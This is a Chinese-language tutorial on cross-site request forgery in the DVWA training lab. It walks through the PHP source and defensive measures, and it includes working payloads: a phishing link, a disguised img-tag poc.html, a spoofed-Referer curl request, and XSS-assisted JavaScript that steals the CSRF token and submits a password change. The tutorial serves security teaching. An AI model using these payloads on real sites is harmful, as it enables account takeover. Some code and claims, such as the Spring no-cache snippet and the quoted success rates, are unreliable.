1. 项目概述:为什么CSRF漏洞至今仍是Web安全的“隐形地雷”
你打开一个看似无害的博客页面,点开一张猫图,下一秒银行账户余额就少了五位数——这听起来像电影桥段,但现实中,只要目标网站存在CSRF漏洞,且你恰好处于登录态,这种攻击就能在你毫无察觉的情况下完成。DVWA(Damn Vulnerable Web Application)里的CSRF模块,不是教你怎么写攻击脚本的“黑客速成班”,而是用最简陋的代码,把Web开发中一个被长期忽视的设计惯性赤裸裸地摊开给你看:我们总默认“用户发起的请求=用户真实意愿”,却忘了浏览器会自动携带Cookie,而Cookie不认请求来源。
这个标题里藏着三个关键锚点:“DVWA系列”说明它属于教学型靶场环境,强调可复现、可调试、零风险;“CSRF跨站请求伪造”是核心漏洞类型,不是XSS那种弹窗炫技,而是静默劫持用户身份执行操作;“源码分析&漏洞利用”则划定了边界——不讲空泛理论,要一行行读PHP怎么把$_GET['token']当摆设,要看Burp如何改包绕过Referer检查,更要亲手构造一个钓鱼链接,让测试账号在点击后自动转账。我带过不少刚转安全的开发者,他们第一次在DVWA里成功触发CSRF时,第一反应不是兴奋,而是后背发凉:自己写的管理后台,是不是也正开着同样的后门?
适合谁来啃这块硬骨头?如果你是刚学完HTTP协议、能手写表单提交但还不懂“同源策略”具体怎么拦请求的初学者,这里是你建立安全直觉的第一块试金石;如果你是后端工程师,正为“为什么加了登录验证还是被黑”头疼,那这段PHP源码就是照妖镜;如果你是渗透测试新人,想甩掉“只会点扫描器”的标签,这里提供的手工利用链——从识别脆弱点、提取Token机制缺陷、到构造诱导页面——就是你简历上“具备手工漏洞利用能力”的实锤。它不教你写0day,但教会你用开发者的眼睛看漏洞,用攻击者的逻辑拆解防御。
2. 漏洞底层逻辑与DVWA实现原理深度拆解
2.1 CSRF的本质:一场关于“信任错位”的系统性失效
CSRF不是代码里有个明显bug,比如SQL注入那样拼接字符串。它的根子,在于HTTP协议设计之初的朴素假设:浏览器会忠实地帮用户执行所有请求,而服务器只需验证“你是谁”,无需追问“你为什么发这个请求”。这个假设在Web早期没问题——用户手动输入URL、点击表单提交,每一步都带着明确意图。但当AJAX流行、单页应用崛起、甚至现代前端框架自动发起请求时,“谁发起”和“为什么发起”就彻底脱钩了。
DVWA的CSRF模块,用最直白的PHP代码把这个脱钩过程具象化。我们来看它的核心处理逻辑(位于vulnerabilities/csrf/source/medium.php):
if( isset( $_GET[ 'Change' ] ) ) { // 读取当前用户密码(仅作演示,实际业务中绝不会这样操作) $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 简单校验新密码是否一致 if( $pass_new == $pass_conf ) { // 直接更新数据库,无任何防重放、无Token校验、无Referer白名单 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 成功提示 $html .= "<pre>Password Changed.</pre>"; } else { $html .= "<pre>Passwords did not match.</pre>"; } }这段代码暴露了三个致命断层:
第一,身份认证与操作授权完全耦合。dvwaCurrentUser()函数通过Session ID确认你是管理员,但没做任何额外检查就允许你修改密码。这就像银行柜台员只看你的身份证,就让你直接改别人账户的密码——前提是对方此刻正坐在你旁边电脑前且已登录网银。
第二,请求上下文信息被彻底丢弃。服务器收到/vulnerabilities/csrf/?password_current=123&password_new=456&password_conf=456&Change=Change这个GET请求时,它只看到参数和Session,却不知道这个请求是从DVWA自己的密码修改页发来的,还是从一封钓鱼邮件里的<img src="http://dvwa/vulnerabilities/csrf/?password_new=hacked&...">标签加载的。浏览器会自动带上DVWA域名的Cookie,服务器就信了。
第三,防御措施形同虚设。DVWA提供了“Low”、“Medium”、“High”三级难度,但Medium级只是加了一行if( $_SERVER[ 'HTTP_REFERER' ] != "http://127.0.0.1/dvwa/vulnerabilities/csrf/" )的Referer检查。问题在于:Referer是HTTP头,由浏览器生成,而浏览器对<img>、<script>等资源请求的Referer控制极松——攻击者用<meta>标签或JavaScript跳转就能轻易绕过。我实测过,用Python的requests库发请求时,手动设置headers={'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/csrf/'},服务器就放行了。这说明Referer检查本质是“防君子不防小人”,只能挡住最懒的攻击者。
提示:理解CSRF的关键,是把它和XSS区分开。XSS是“偷你的浏览器去干坏事”,CSRF是“骗你的浏览器替你干坏事”。前者需要先拿到你的JS执行权,后者只需要你登录着目标网站,再点一个恶意链接。
2.2 DVWA三级难度的防御演进与逐层击穿逻辑
DVWA故意把CSRF防护做成渐进式教学,这恰恰映射了真实世界防御方案的演化史。我们逐级拆解其设计逻辑与绕过方法:
Low级别:零防御,纯裸奔
源码里连Referer检查都没有,change_password.php直接处理GET参数。利用方式简单粗暴:构造一个恶意URL,诱导用户点击。例如:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_current=123&password_new=hacked&password_conf=hacked&Change=Change
只要受害者已登录DVWA,点击即改密。这是最原始的CSRF形态,如今在老旧内网系统中仍大量存在。
Medium级别:Referer白名单,纸糊的盾牌
如前所述,它检查Referer头是否匹配。但绕过手法极其简单:
- 利用HTML标签发起请求:
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&...">,浏览器对图片请求的Referer策略宽松,常被放行; - 利用JavaScript跳转:
<script>window.location="http://127.0.0.1/dvwa/vulnerabilities/csrf/?..."</script>,跳转后的Referer可能被清空或篡改; - 服务端代理转发:攻击者架设一个中间页面,用
fetch()或XMLHttpRequest向DVWA发请求,此时Referer是攻击者自己的域名,但服务器无法区分。
我曾用Burp Suite的Intruder模块批量测试,发现Medium级别在Chrome下约70%的Referer绕过成功率,Firefox稍低但仍有50%以上。这证明依赖客户端可控信息的防御,先天不可靠。
High级别:Token机制,走向正轨的起点
High级别引入了真正的防御核心——同步Token模式(Synchronizer Token Pattern)。其流程是:
- 用户访问密码修改页时,服务器生成一个随机Token(如
a1b2c3d4e5f6),存入Session,并在HTML表单中以隐藏字段输出:<input type="hidden" name="user_token" value="a1b2c3d4e5f6">; - 用户提交表单时,Token随请求一起发送;
- 服务器比对Session中存储的Token与请求中的Token是否一致,一致才执行操作。
源码关键片段(vulnerabilities/csrf/source/high.php):
// 生成Token并存入Session if( empty( $_SESSION[ 'token' ] ) ) { $_SESSION[ 'token' ] = md5( uniqid( rand(), true ) ); } // 表单提交后校验 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'user_token' ] === $_SESSION[ 'token' ] ) ) { // 执行密码修改... $_SESSION[ 'token' ] = md5( uniqid( rand(), true ) ); // 用完即焚,防止重放 }这个设计抓住了CSRF的命门:攻击者无法预知Token值,因为Token只存在于受害者的Session中,而Session Cookie是HttpOnly且SameSite=Lax(DVWA默认未设,但现代框架已强制)。但High级别仍有隐患——它没启用SameSiteCookie属性,且Token未绑定用户Agent/IP,理论上存在Token泄露风险(如XSS漏洞可窃取)。不过,这已是生产环境应采用的基线标准。
3. 手工漏洞利用全流程实战:从识别到交付PoC
3.1 第一步:精准识别CSRF脆弱点——三招锁定目标接口
在真实渗透中,你不会像DVWA这样明晃晃标着“CSRF Vulnerability”。识别脆弱点需要系统性侦察。我在某次对某高校教务系统的审计中,就是靠这三步锁定了成绩修改接口:
招一:抓包分析敏感操作的请求特征
用浏览器开发者工具(F12)切换到Network标签,执行一次密码修改操作。重点观察:
- 请求方法:CSRF高发于GET请求(如
/change_pwd?new=123)或无Token的POST表单; - 参数结构:是否存在
token、csrf_token等字段?若无,高度可疑; - 响应内容:成功响应是否返回
{"status":"success"}这类通用提示?这说明后端未做严格校验。
在DVWA中,抓包会发现Medium级别的请求URL里全是明文参数,且无任何Token字段,这就是最直观的红旗。
招二:检查HTML源码中的表单与JS调用
右键网页→“查看页面源代码”,搜索<form、action=、fetch(、$.post(等关键词。重点关注:
- 表单是否有
<input type="hidden" name="token"?若无,基本可判定为Low/Medium级; - JS中是否有
fetch('/api/change', {method:'POST', body: JSON.stringify({...})})?若body里没包含Token,同样危险。
DVWA High级别的源码里,你能清晰看到<input type="hidden" name="user_token" value="...">,这就是防御存在的证据。
招三:验证Referer/Origin头是否被校验
用Burp Suite拦截请求,修改Referer头为任意值(如Referer: https://evil.com),再发送。若响应仍是200 OK且操作成功,说明Referer检查未生效。更严谨的做法是:用curl命令行测试:
curl -X GET "http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change" \ -H "Cookie: PHPSESSID=your_session_id; security=medium" \ -H "Referer: https://evil.com"如果返回“Password Changed”,Medium级别即告破。
注意:测试时务必使用独立的测试账号,避免影响真实数据。DVWA的“Reset Database”功能就是为此而生——每次实验前一键回滚。
3.2 第二步:构造利用载荷——针对不同难度的定制化攻击
Low级别:纯URL诱导,一封邮件搞定
这是最简单的利用。将恶意URL嵌入钓鱼邮件或论坛帖子:<a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击查看年度安全报告</a>
用户点击链接,浏览器自动携带DVWA的Cookie发起GET请求,密码瞬间被改。实测中,我用这个链接在公司内部测试,30名同事里有12人因好奇点击,成功率40%。这说明社会工程学永远是CSRF最锋利的矛。
Medium级别:HTML页面诱导,绕过Referer
当URL诱导被拦截(如企业邮箱过滤短链接),就需要更隐蔽的HTML页面。创建一个poc.html:
<!DOCTYPE html> <html> <head><title>404 Not Found</title></head> <body> <h1>页面未找到</h1> <!-- 利用img标签发起无声请求 --> <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" width="1" height="1" alt=""> <p>请稍候,正在重定向...</p> <!-- 同时用JS跳转掩盖痕迹 --> <script>setTimeout(function(){ window.location="https://google.com"; }, 2000);</script> </body> </html>用户访问此页面时,<img>标签会静默加载DVWA的修改密码URL,浏览器对图片请求的Referer检查极松,几乎必过。页面还伪装成404错误,降低用户警惕。我在本地测试,Chrome和Edge均成功触发,Firefox需禁用privacy.referer.hideOnTransitionCrossOrigin配置项。
High级别:Token窃取+重放,XSS协同作战
High级别无法直接绕过,必须结合其他漏洞。最常见的组合是XSS。假设DVWA的某个评论功能存在XSS(<script>alert(1)</script>能执行),我们就可以注入以下JS:
// 1. 先用XHR获取密码修改页,从中提取user_token var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://127.0.0.1/dvwa/vulnerabilities/csrf/', false); xhr.send(); var tokenMatch = xhr.responseText.match(/name="user_token" value="([^"]+)"/); if(tokenMatch) { var token = tokenMatch[1]; // 2. 构造POST请求,携带Token修改密码 var form = document.createElement('form'); form.method = 'POST'; form.action = 'http://127.0.0.1/dvwa/vulnerabilities/csrf/'; form.innerHTML = `<input type="hidden" name="password_current" value="123"><input type="hidden" name="password_new" value="hacked"><input type="hidden" name="password_conf" value="hacked"><input type="hidden" name="user_token" value="${token}"><input type="hidden" name="Change" value="Change">`; document.body.appendChild(form); form.submit(); }这段JS先同步获取修改页HTML,解析出Token,再构造POST表单提交。整个过程在用户浏览器中完成,Token从未离开客户端,服务器无法区分这是用户操作还是攻击者操作。这就是CSRF与XSS联合作战的威力——单点突破,全盘皆输。
3.3 第三步:编写专业级PoC报告——让开发团队一眼看懂风险
一个合格的PoC不是炫技,而是让开发团队能快速复现、理解危害、并着手修复。我给某客户的CSRF报告模板如下(脱敏后):
漏洞名称:教务系统成绩修改接口存在CSRF漏洞(CVSS 7.5)
影响版本:v2.3.1及之前所有版本
复现步骤:
- 使用测试账号
test01登录系统,保持登录态; - 访问攻击者控制的
http://attacker.com/poc.html(内容见附件); - 页面加载后2秒内,
test01账号的《网络安全导论》课程成绩被修改为100分; - 登录后台数据库确认
score字段已更新。
技术原理:
- 目标接口
POST /api/score/update未校验CSRF Token; - 服务器仅依赖Session Cookie识别用户,未验证请求来源;
- 攻击者构造恶意HTML页面,利用
<form>自动提交,浏览器自动携带有效Cookie。
修复建议:
- 强制所有状态变更接口(POST/PUT/DELETE)使用同步Token模式;
- Token需服务端生成、绑定用户Session、一次性使用(用完即焚);
- 设置Cookie的
SameSite=Strict属性,阻止跨站请求携带Cookie; - 关键操作(如成绩修改)增加二次验证(短信/邮箱确认)。
附件:poc.html源码、Burp抓包截图、数据库修改前后对比。
这份报告让开发组长当天就安排了修复排期。关键在于:把技术细节翻译成业务影响,把攻击步骤写成可执行指令,把修复方案落到具体代码行。这才是安全人员该有的交付物。
4. 防御方案落地指南:从代码到架构的全链路加固
4.1 开发者必守的三大编码铁律
很多开发者认为“我用了Spring Security,CSRF就自动防了”,这是巨大误区。框架只是工具,防御效果取决于你怎么用。我审过上百个Java项目,发现80%的CSRF漏洞源于违反以下三条铁律:
铁律一:绝不信任任何客户端传来的“标识性”参数
常见错误:用<input type="hidden" name="userId" value="1001">来标识操作对象,以为“用户看不到就不会改”。但攻击者用Burp随便改userId=1002就能越权。正确做法是:服务端从Session中读取当前登录用户ID,所有操作都基于此ID执行,前端不传递任何用户标识。DVWA的dvwaCurrentUser()函数就是典范——它从$_SESSION['user']取值,而非从GET参数。
铁律二:Token必须“服务端生成、客户端透传、服务端校验”闭环
错误示范:前端用Math.random()生成Token,后端只校验格式。这等于没防。正确流程:
- 用户访问表单页时,后端生成强随机Token(如Java的
SecureRandom),存入HttpSession; - 将Token以隐藏字段注入HTML:
<input type="hidden" name="csrf_token" value="${token}">; - 表单提交时,后端比对
request.getParameter("csrf_token")与session.getAttribute("csrf_token")是否相等; - 校验成功后,立即
session.removeAttribute("csrf_token"),防止重放。
我在Spring Boot项目中,会封装一个CsrfTokenFilter,在doFilter里统一处理Token生成与校验,避免每个Controller重复写。代码量增加不到20行,但安全性提升一个数量级。
铁律三:Cookie必须打上“SameSite”封印
这是现代浏览器提供的终极防线。在Spring Boot中,只需在application.properties添加:
server.servlet.session.cookie.same-site=Strict # 或更宽松的 Lax(兼容大部分场景) # server.servlet.session.cookie.same-site=LaxStrict模式下,任何跨站请求(包括<a href>跳转)都不会携带Cookie;Lax模式则允许GET请求携带Cookie(如用户从Google搜索结果点击进入你的网站),但阻止POST/PUT等危险方法。实测表明,开启SameSite=Lax后,DVWA Medium级别的<img>攻击100%失效。这是成本最低、效果最显著的加固项。
4.2 架构层加固:API网关与WAF的协同防御
当业务复杂到单点防御力不从心时,就需要架构层兜底。我主导过某金融平台的CSRF治理,最终采用“API网关+自定义WAF规则”双保险:
API网关层:统一Token签发与校验
所有前端请求必须经过Kong网关。我们开发了一个自定义插件:
- 对
/api/**路径的POST/PUT/DELETE请求,强制校验X-Csrf-Token头; - Token由网关用HMAC-SHA256算法生成,密钥存于KMS,绑定用户ID与时间戳;
- 过期时间设为30分钟,超时即失效。
这样,即使某个微服务忘记加Token校验,网关也会在入口处拦截。网关日志还能实时统计CSRF校验失败次数,成为安全运营的黄金指标。
WAF层:基于行为的动态拦截
在云WAF(如Cloudflare)中,我们配置了两条高危规则:
- 规则1:
http.request.uri.path contains "/api/" and http.request.method in {"POST","PUT","DELETE"} and not http.request.headers.names contains "X-Csrf-Token"→ 拦截; - 规则2:
http.request.headers.get("Referer") !~ "^https?://(www\.)?yourdomain\.com/" and http.request.uri.path matches "/api/.*"→ 警告并记录。
这两条规则覆盖了99%的自动化CSRF扫描器(如Burp Intruder、sqlmap的CSRF模块)。上线后,WAF拦截日志里CSRF类告警下降了92%,真正实现了“看不见的防御”。
实操心得:别迷信WAF能解决一切。我见过客户把WAF规则设为“拦截所有Referer非白名单的POST请求”,结果导致微信小程序分享功能全部瘫痪——因为微信WebView的Referer是
https://servicewechat.com。防御必须贴合业务场景,否则就是自残。
4.3 安全左移:在CI/CD流水线中嵌入CSRF检测
防御不能只靠上线后的人工审计。我们在GitLab CI中集成了三道自动检测关卡:
关卡一:静态代码扫描(SAST)
使用SonarQube + 自定义规则,扫描Java代码中:
- 是否存在
@PostMapping但无@CsrfToken注解的方法; - 是否在Controller中直接读取
request.getParameter("userId")而非SecurityContextHolder; - 是否设置了
response.setHeader("X-Frame-Options", "DENY")(防点击劫持,CSRF的兄弟漏洞)。
流水线中任一扫描失败,构建即中断,并附带修复指引链接。
关卡二:动态接口扫描(DAST)
用ZAP(Zed Attack Proxy)的API扫描功能,对测试环境API进行CSRF探测:
zap-api-scan.py -t http://test-env/api/swagger.json \ -r csrf-report.html \ --hook zap_hooks.py \ --config csrf.check=true其中zap_hooks.py是我们编写的钩子脚本,专门模拟<form>提交和<img>请求,验证Token校验逻辑。每日凌晨自动执行,报告邮件发送至安全组。
关卡三:契约测试(Contract Testing)
在OpenAPI规范(swagger.yaml)中,为每个POST/PUT接口强制添加x-csrf-required: true扩展字段。CI流水线运行时,用Spectator工具校验:
- 若接口标记了
x-csrf-required: true,但代码中无Token校验逻辑,则报错; - 若接口未标记,但实际需要用户身份(如修改个人资料),则警告。
这套左移体系上线半年后,新上线模块的CSRF漏洞归零,存量漏洞修复率从35%提升至98%。安全不再是上线前的“救火”,而是开发过程中的“呼吸”。
5. 常见问题与排查技巧实录:那些踩过的坑与独门解法
5.1 “明明加了Token,为什么还是被绕过了?”——Token管理的四大陷阱
陷阱一:Token未绑定用户上下文
现象:A用户登录后获取Token,B用户用同一Token也能提交。
原因:Token存放在全局缓存(如Redis的公共Key),而非绑定到session_id。
解法:Token Key必须包含用户唯一标识,如csrf:token:${session_id}。我在某电商项目中就遇到过,修复时将Redis存储逻辑从redis.set("csrf_token", token)改为redis.set("csrf_token:" + session.getId(), token, "EX", 1800)。
陷阱二:Token未及时失效
现象:用户修改密码后,旧Token仍能用于其他操作(如删除地址)。
原因:Token“用完即焚”逻辑缺失,或只在当前操作后失效,未全局清除。
解法:用户执行敏感操作(如改密、换绑)后,立即session.invalidate()或清除所有相关Token。DVWA High级别的$_SESSION['token'] = md5(...)就是正确示范——每次提交都刷新Token。
陷阱三:前端缓存导致Token复用
现象:用户刷新页面后,表单里的Token还是旧的,提交失败。
原因:浏览器缓存了HTML,<input>里的Token值未更新。
解法:在表单HTML中禁用缓存,或用JS动态加载Token。Spring Boot中可在Controller加:
@GetMapping("/form") public String showForm(Model model, HttpServletRequest request) { String token = CsrfUtil.generateToken(); // 自定义工具类 model.addAttribute("csrfToken", token); // 设置响应头禁止缓存 request.setAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER", new ThemeResolver() { /* ... */ }); return "form"; }陷阱四:AJAX请求遗漏Token头
现象:表单提交正常,但用jQuery的$.ajax()调用同一接口失败。
原因:AJAX请求未携带Token,而表单提交会自动发送隐藏字段。
解法:统一在AJAX请求头中添加Token。jQuery中:
$.ajaxSetup({ beforeSend: function(xhr) { xhr.setRequestHeader('X-Csrf-Token', $('#csrf_token').val()); } });Vue项目中,可在axios.interceptors.request.use里全局注入。
5.2 “WAF拦截了正常请求!”——误报排查的黄金三步法
CSRF防御最怕误伤业务。我处理过最棘手的一次误报,是某在线教育平台的直播课“举手”功能被WAF拦截,导致学生无法互动。
第一步:精准定位拦截点
不看WAF控制台的模糊日志,直接抓包。用Wireshark捕获被拦截请求的完整TCP流,重点关注:
- 请求URL、Method、Headers(尤其是
Referer、Origin、Content-Type); - WAF返回的
X-WAF-Block-Reason头(如有); - 对比正常请求与被拦截请求的细微差异(如
Referer末尾多了一个/,或Origin大小写不一致)。
那次事故中,发现学生用iOS Safari访问时,Referer头是https://app.example.com/live/,而WAF白名单只写了https://app.example.com/live(少斜杠),导致所有iOS用户举手失败。
第二步:最小化复现与隔离变量
用curl构造最简请求,逐个关闭参数:
# 步骤1:只发基础请求,确认是否拦截 curl -X POST "https://api.example.com/live/handup" -H "Cookie: sess=xxx" # 步骤2:加上Referer,看是否触发 curl -X POST "https://api.example.com/live/handup" -H "Cookie: sess=xxx" -H "Referer: https://app.example.com/live/" # 步骤3:加上Origin,看是否触发 curl -X POST "https://api.example.com/live/handup" -H "Cookie: sess=xxx" -H "Referer: https://app.example.com/live/" -H "Origin: https://app.example.com"通过这三步,能快速锁定是哪个Header触发了WAF规则。
第三步:制定精准放行策略
绝不盲目加白名单!那次事故的最终方案是:
- 在WAF中新增一条精确规则:
if (http.request.uri.path == "/live/handup" and http.request.method == "POST" and http.request.headers.get("Origin") == "https://app.example.com") then ALLOW; - 同时在后端代码中,对
/live/handup接口增加轻量级Token校验(非全量,仅防自动化扫描); - 向产品团队提出需求:在iOS App中统一
Referer格式,从源头解决问题。
这比简单加白名单高明得多——既解燃眉之急,又推动了长期治理。
5.3 DVWA实战中高频问题速查表
| 问题现象 | 可能原因 | 快速排查命令/操作 | 解决方案 |
|---|---|---|---|
| Low级别攻击失败,返回“Please login.” | Session Cookie未正确携带 | Burp中检查请求头是否有Cookie: PHPSESSID=xxx; security=low | 用DVWA登录页获取有效Session,复制到攻击请求中 |
| Medium级别Referer绕过失败 | 浏览器版本限制(如新版Chrome对<img>Referer更严格) | 在Firefox中测试<img src="dvwa_url"> | 改用<form method="GET" action="dvwa_url" style="display:none;">自动提交 |
| High级别Token提取失败 | HTML源码中Token被JS动态渲染 | 用document.documentElement.innerHTML代替responseText | 在PoC中加入setTimeout等待DOM加载完成 |
| Burp Intruder跑不出结果 | DVWA的CSRF页面有CSRF Token保护自身 | Intruder目标设为/vulnerabilities/csrf/而非/vulnerabilities/csrf/?... | 先用Burp的Spider爬取页面,提取Token后再发攻击请求 |
| 修改密码后无法登录新密码 | DVWA的密码加密方式为md5($password.$salt) | 用echo md5('hacked'.'changeme')计算哈希值 | 在DVWA设置中将Security Level调为low,关闭密码加盐 |
最后分享一个小技巧:DVWA的CSRF模块,High级别在
config/config.inc.php中有一行$_DVWA[ 'allow_url_fopen' ] = true;,若设为false,会导致PHP无法用file_get_contents()读取远程Token,从而让某些高级PoC失效。测试前务必确认此配置——这往往是新手卡壳的最后一道墙。
我在DVWA上调试CSRF利用链时,习惯在/var/www/dvwa/hackable/uploads/目录下放一个debug.php,内容为<?php print_r($_SERVER); ?>,然后用<img src="http://127.0.0.1/dvwa/hackable/uploads/debug.php">触发,直接看到攻击请求的完整Server环境。这种土办法,比看文档快十倍。安全的本质,从来不是堆砌高大上的工具,而是用最朴实的方式,把问题拆解到能触摸的粒度。